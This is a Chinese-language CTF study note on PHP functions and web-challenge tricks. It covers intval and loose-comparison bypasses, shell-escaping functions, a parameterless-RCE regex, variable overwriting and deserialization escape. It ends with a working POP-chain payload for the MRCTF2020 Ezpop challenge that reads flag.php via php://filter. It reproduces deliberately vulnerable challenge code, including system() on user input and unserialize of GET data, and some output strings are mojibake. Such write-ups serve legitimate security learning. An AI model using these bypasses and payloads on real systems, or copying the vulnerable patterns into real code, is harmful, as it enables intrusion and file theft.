测试遇到的函数(PHP)
目录:
第一部分
1、strstr() 函数搜索字符串在另一字符串中是否存在,如果是,返回该字符串及剩余部分,否则返回 FALSE。
strstr(string,search,before_search)
参数 | 描述 |
string | 必需。规定被搜索的字符串。 |
search | 必需。规定要搜索的字符串。如果该参数是数字,则搜索匹配该数字对应的 ASCII 值的字符。 |
before_search | 可选。一个默认值为 “false” 的布尔值。如果设置为 “true”,它将返回 search 参数第一次出现之前的字符串部分。 |
2、
is_numeric() 函数用于检测变量是否为数字或数字字符串。
intval() 函数用于获取变量的整数值。
intval() 函数通过使用指定的进制 base 转换(默认是十进制),返回变量 var 的 integer 数值
3、
数字和字符串进行比较时,当这个字符串是一个无法转换为数字的字符串,它就会被强制转化为数字,结果总是为0
1.当字符串中 以 数字开头 +字符串+数字或字符(字符串)+… 格式与数字进行 == 判断时,
会取第一次出现字符(字符串)前的数字作为转换值。
eg:45sd5415fr5 ==> 45
2.当字符串中 以 字符(字符串)开头 +数字+数字或字符(字符串)+… 格式与数字进行 == 判断时,
不能转换为数字,被强制转换为0 。
eg: asd548fdf4 ==> 0
原文链接:https://blog.csdn.net/Auuuuuuuu/article/details/79621635
4、escapeshellarg
escapeshellarg — 把字符串转码为可以在 shell 命令里使用的参数
escapeshellarg(string $arg): string
escapeshellarg() 将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号,这样以确保能够直接将一个字符串传入 shell 函数,并且还是确保安全的。对于用户输入的部分参数就应该使用这个函数。shell 函数包含exec()、system() 和执行运算符 。
在 Windows 上,escapeshellarg() 用空格替换了百分号、感叹号(延迟变量替换)和双引号,并在字符串两边加上双引号。此外,每条连续的反斜线(\)都会被一个额外的反斜线所转义。
它能做到:
1.确保用户只执行一个命令
2.用户可以指定不限数量的参数
3.用户不能执行不同的命令
5、escapeshellcmd
escapeshellcmd(string $command): string
escapeshellcmd() 对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义。 此函数保证用户输入的数据在传送到 exec() 或 system() 函数,或者 执行操作符 之前进行转义。
反斜线(\)会在以下字符之前插入:&#;`|*?~<>^()[]{}$\、\x0A 和 \xFF。 ‘ 和 ” 仅在不配对儿的时候被转义。在 Windows 平台上,所有这些字符以及 % 和 ! 字符前面都有一个插入符号(^)。
它能做到:
1.确保用户只执行一个命令
2.用户可以指定不限数量的参数
3.用户不能执行不同的命令
4/5参考:
https://www.php.net/manual/zh/function.escapeshellcmd.php
https://www.php.net/manual/zh/function.escapeshellarg.php
建议结合实验理解:
https://www.bilibili.com/read/cv18151732
6、chdir()
chdir(目录) :在当前目录下新建一个目录,并进入该目录下
7、
remote_addr和x_forwarded_for这两个是见的比较多的,服务器获取ip用的,
8、无参数RCE
if(‘;’ === preg_replace(‘/[a-z,_]+\((?R)?\)/’, NULL, $_GET[‘exp’])) { // 表示传入的函数不能带有参数,且结尾必须为 ;
9、变量覆盖
<?php include 'flag.php'; $yds = "dog"; $is = "cat"; $handsome = 'yds'; /* 可以变相成这样理解 例如POST传入的值为 ?yds=flag 则第一个foreach中 : $x = yds $y = flag $$x = $y <==> $yds = flag 改变变量的值 $$x = $$y <==> $yds = $flag 改变变量的名字 它的 $x 和 $y 是根据我们传入的值来确定的 GET型同理 */ foreach($_POST as $x => $y){ //变量覆盖 $$x = $y; } foreach($_GET as $x => $y){ //foreach进行循坏,遍历POST,将数组中的值赋值给$y $$x = $$y; //GET型变量重新赋值为当前文件变量中以其值为键名的值 } foreach($_GET as $x => $y){ //不能同时flag的值等于某个键名,那个键又是flag //猜测 如果用 & 传入多个值,则默认取第一个&之前的 作为 $x $y if($_GET['flag'] === $x && $x !== 'flag'){ //变量名为flag exit($handsome); //exit() 函数输出一条消息,并退出当前脚本。 } } if(!isset($_GET['flag']) && !isset($_POST['flag'])){ //不能同时GET和POST都设置flag exit($yds); } if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){ //任意都能满足flag==='flag' exit($is); } echo "the flag is: ".$flag; //$flag在flag.php中,且为: $flag = file_get_contents('/flag'); ?>
参考实验理解:
https://www.cnblogs.com/upfine/p/16593710.html
https://www.bilibili.com/read/cv18579744
10、
<?php header('Content-type:text/html;charset=utf-8'); error_reporting(0); highlight_file(__file__); //level 1 if (isset($_GET['num'])){ $num = $_GET['num']; if(intval($num) < 2020 && intval($num + 1) > 2021){ echo "鎴戜笉缁忔剰闂寸湅浜嗙湅鎴戠殑鍔冲姏澹�, 涓嶆槸鎯崇湅鏃堕棿, 鍙槸鎯充笉缁忔剰闂�, 璁╀綘鐭ラ亾鎴戣繃寰楁瘮浣犲ソ.</br>"; }else{ die("閲戦挶瑙e喅涓嶄簡绌蜂汉鐨勬湰璐ㄩ棶棰�"); } }else{ die("鍘婚潪娲插惂"); } //level 2 if (isset($_GET['md5'])){ $md5=$_GET['md5']; if ($md5==md5($md5)) echo "鎯冲埌杩欎釜CTFer鎷垮埌flag鍚�, 鎰熸縺娑曢浂, 璺戝幓涓滄緶宀�, 鎵句竴瀹堕鍘�, 鎶婂帹甯堣桨鍑哄幓, 鑷繁鐐掍袱涓嬁鎵嬪皬鑿�, 鍊掍竴鏉暎瑁呯櫧閰�, 鑷村瘜鏈夐亾, 鍒灏忔毚.</br>"; else die("鎴戣刀绱у枈鏉ユ垜鐨勯厭鑲夋湅鍙�, 浠栨墦浜嗕釜鐢佃瘽, 鎶婁粬涓€瀹跺畨鎺掑埌浜嗛潪娲�"); }else{ die("鍘婚潪娲插惂"); } //get flag if (isset($_GET['get_flag'])){ $get_flag = $_GET['get_flag']; if(!strstr($get_flag," ")){ //过滤空格 $get_flag = str_ireplace("cat", "wctf2020", $get_flag); echo "鎯冲埌杩欓噷, 鎴戝厖瀹炶€屾鎱�, 鏈夐挶浜虹殑蹇箰寰€寰€灏辨槸杩欎箞鐨勬湸瀹炴棤鍗�, 涓旀灟鐕�.</br>"; system($get_flag); }else{ die("蹇埌闈炴床浜�"); } }else{ die("鍘婚潪娲插惂"); } ?> 鍘婚潪娲插惂 intval() 函数用于获取变量的整数值。 如果字符串包括了 "0x" (或 "0X") 的前缀,使用 16 进制 (hex);否则, 如果字符串以 "0" 开始,使用 8 进制(octal);否则, 将使用 10 进制 (decimal)。 level_1是针对intval()的过滤,当我们的intval()括号内是一个string的数字和字符串混合内容时, 则返回的是这串内容的第一位数字,而当我们对这个字符型的内容进行加减乘除操作的时候, 这串字符则会对应地转换为int或者double类型; intval函数,此函数在处理数据时会在接触到字符串时停止, 因此如果输入100e2之类的数据,会解释称100,但后面在执行+1时,100e2是解释称10000的,因此此处使用100e2绕过 level_2是php弱类型比较;(感觉还带了点md5碰撞问题的样子),这里我们需要知道'=='两个等号做比较的时候, 会先将左右两边的内容转换为同一种类型的内容再进行比较。而在php中,如果有一串内容以0e开头, 那么这串内容会以科学计数法的形式表示,而0的次方就是0。 所以,我们的思路就是通过找到一个0e开头的值,且md5加密后的内容也是0e开头的,使得条件为真。 那么找到了满足条件的值:0e215962017
11、反序列化的逃逸
<?php $function = @$_GET['f']; function filter($img){ $filter_arr = array('php','flag','php5','php4','fl1g'); $filter = '/'.implode('|',$filter_arr).'/i'; // 得到 /php|flag|php5|php4|fl1g/i return preg_replace($filter,'',$img); } if($_SESSION){ unset($_SESSION); // 销毁变量 } /* 我们发现unset函数将$_SESSION变量销毁了,然后重新赋予了$_SESSION新的值, 最后调用了extract($_POST); */ $_SESSION["user"] = 'guest'; $_SESSION['function'] = $function; // extract — 从数组中将变量导入到当前的符号表 //根据extract()我们可以进行变量覆盖, //当我们传入SESSION[flag]=123时,$SESSION["user"]和$SESSION['function'] 全部会消失。 //只剩下_SESSION[flag]=123。 extract($_POST); if(!$function){ //判断一 echo '<a href="index.php?f=highlight_file">source_code</a>'; } if(!$_GET['img_path']){ //判断二 $_SESSION['img'] = base64_encode('guest_img.png'); }else{ $_SESSION['img'] = sha1(base64_encode($_GET['img_path'])); // sha1 — 计算字符串的sha1散列值,是一种加密方式 } $serialize_info = filter(serialize($_SESSION)); //序列化$_SESSION并过滤 if($function == 'highlight_file'){ //判断三 highlight_file('index.php'); }else if($function == 'phpinfo'){ eval('phpinfo();'); //maybe you can find something in here! }else if($function == 'show_image'){ $userinfo = unserialize($serialize_info); echo file_get_contents(base64_decode($userinfo['img'])); }
参考:
https://www.cnblogs.com/tzf1/p/14991057.html
https://xz.aliyun.com/t/9213
12、魔术方法
<?php //flag is in flag.php //WTF IS THIS? //Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95 //And Crack It! class Modifier { protected $var; public function append($value){ include($value); } public function __invoke(){ $this->append($this->var); } } class Show{ public $source; public $str; public function __construct($file='index.php'){ $this->source = $file; echo 'Welcome to '.$this->source."<br>"; } public function __toString(){ return $this->str->source; } public function __wakeup(){ if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) { echo "hacker"; $this->source = "index.php"; } } } class Test{ public $p; public function __construct(){ $this->p = array(); } public function __get($key){ $function = $this->p; return $function(); } } if(isset($_GET['pop'])){ @unserialize($_GET['pop']); } else{ $a=new Show; highlight_file(__FILE__); } /* __invoke(),这个函数是以调用函数的方式调用一个对象时会被自动调用的一个函数,或者说将对象调用为函数时触发 __toString(),这个函数是当一个对象被当成字符串时的处理函数,比如输出类时,返回什么值 __get(),这个函数大多数见到是private,用来获取一个不可访问的属性或者私有属性。 至于_wakeup() ,我们很熟悉的一个函数,在使用unserialize时触发,先调用再反序列化,以及__destruct() ,当一个对象销毁时被调用 _construct 当一个对象创建时被调用, __toString 当一个对象被当作一个字符串被调用。 __wakeup() 使用unserialize时触发 __get() 用于从不可访问的属性读取数据 #难以访问包括:(1)私有属性,(2)没有初始化的属性 __invoke() 当脚本尝试将对象调用为函数时触发。 ->用来引用一个类的属性(变量)、方法(函数) protected属性:在类的内部可以调用外部不能可以被继承并且重构 return $this后可以加多个变量 */
解法:
我们必须将 Modifier 类作为函数调用时,__invoke()才会执行
而 Test 类中的 __get会将P作为函数调用,我们可以将 Modifier 的对象赋值给P,然后,用 __get 调用
而要使用 Test中的__get,__get是不可达和私有属性,也就是得有一个对象他没有属性 ,
那么下一步我们如何能调用get函数呢,get是不可达和私有属性,也就是得有一个对象他没有属性,很明显要利用到show函数,也很明显是toString函数,$this->str->source;这里,既要有一个对象,又要把一个对象当字符串,而在wakeup函数里,$this->source在page_much时会被当做字符串,那么如果我们把source命为一个对象,就调用了toString,此刻在原本的$this->str->source里面source就会有两个参数:source和str,调用就变成了return source对象的str参数的source,而如果我们把str也命为一个对象,pop链就会变成:$pop->source->str 可见source属性没有了,一个对象没有属性就会调用get函数,那么一切都串起来了:
我们由show的source通过__wakeup(),在字符串much时调用__toString(),然后因为str变成了对象没有属性,所以调用test的__get(),把p命为函数调用Modifier 的__invoke()输出伪协议得到flag.php内容。
payload:
<?php class Modifier { protected $var="php://filter/read=convert.base64-encode/resource=flag.php"; } class Test{ public $p; } class Show{ public $source; public $str; public function __construct(){ $this->str = new Test(); } } $a = new Show(); $a->source = new Show(); $a->source->str->p = new Modifier(); echo urlencode(serialize($a)); ?>
参考实验和文章:
https://www.bilibili.com/read/cv18812623
https://www.cnblogs.com/WeQi-Blog/p/16071852.html
https://buuoj.cn/challenges#[MRCTF2020]Ezpop